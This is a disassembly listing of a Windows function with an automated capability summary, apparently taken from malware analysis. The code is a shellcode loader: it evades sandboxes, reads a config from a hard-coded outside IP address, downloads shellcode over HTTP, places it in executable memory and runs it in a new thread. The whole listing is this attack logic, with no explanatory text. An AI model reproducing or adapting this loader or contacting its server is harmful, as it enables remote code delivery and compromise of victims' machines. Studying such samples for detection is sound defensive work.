Function at 0x401846
Capabilities:
Allocate or change rwx memory
Create http request
Create thread
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data
Spawn thread to rwx shellcode

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ecx
sub esp, 0x440
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
call sym._IsInSandbox
test eax, eax
je 0x401886
mov dword [esp], str.The_program_is_running_inside_a_sandbox.
call sym._puts
mov eax, 1
jmp 0x401d12
call sym._IsMemorySufficient
test eax, eax
jne 0x4018a5
mov dword [esp], str.Insufficient_memory.
call sym._puts
mov eax, 1
jmp 0x401d12
mov dword [ebp - 0x11c], 0
lea edx, [ebp - 0x118]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x21c], 0
lea edx, [ebp - 0x218]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x31c], 0
lea edx, [ebp - 0x318]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x31c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x21c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], str.http:__206.233.132.27_s1.ini
call sym._ReadConfig
test eax, eax
jne 0x401943
mov dword [esp], str.Failed_to_read_config_file.
call sym._puts
mov eax, 1
jmp 0x401d12
lea eax, [ebp - 0x31c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x21c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.http:___s:_s__s
mov dword [esp + 4], 0x100
lea eax, [ebp - 0x41c]
mov dword [esp], eax
mov eax, dword [dbg.sprintf_s]
call eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.User_Agent
mov eax, dword [sym.imp.WININET.DLL_InternetOpenA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4019d1
mov dword [esp], str.Failed_to_open_Internet_connection.
call sym._puts
mov eax, 2
jmp 0x401d12
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x84000100
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetOpenUrlA]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401a45
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_open_shellcode_file___u_._n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, 3
jmp 0x401d12
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x424], 4
mov dword [ebp - 0x428], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x424]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x420]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20000005
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_HttpQueryInfoA]
call eax
sub esp, 0x14
test eax, eax
jne 0x401adc
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_retrieve_content_length___u_._n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, 4
jmp 0x401d12
mov eax, dword [ebp - 0x420]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401b29
mov dword [esp], str.Failed_to_allocate_memory_for_shellcode.
call sym._puts
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, 5
jmp 0x401d12
mov eax, dword [ebp - 0x420]
lea edx, [ebp - 0x428]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetReadFile]
call eax
sub esp, 0x10
test eax, eax
jne 0x401ba4
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_read_shellcode_file___u_._n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov eax, 6
jmp 0x401d12
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x420]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401c24
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_allocate_memory___u__n
call sym._printf
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov eax, 7
jmp 0x401d12
mov eax, dword [ebp - 0x420]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401cca
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_create_thread___u__n
call sym._printf
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov eax, 8
jmp 0x401d12
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop edi
pop ebp
lea esp, [ecx - 4]
ret